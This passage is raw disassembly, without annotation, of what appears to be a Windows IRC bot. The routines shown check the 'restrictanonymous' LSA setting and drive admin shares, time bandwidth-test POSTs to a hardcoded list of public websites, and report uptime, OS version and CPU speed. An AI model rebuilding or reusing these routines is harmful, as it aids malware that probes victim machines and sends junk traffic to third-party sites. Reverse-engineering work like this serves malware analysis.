loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C00
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D6C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D34


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF8
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B10


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D8
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD8
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CB0


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E8
		jb	short loc_41A321
		call	near ptr 2820BD8h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD8
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CB0


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C80
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A18
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433824 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E20
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26807BDh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C047Ah
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2660F2Bh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		call	near ptr 26C047Ah
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_431284


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431280
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_43127C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431268


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43783C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2660A7Ah
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A114
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2711398h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2830000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
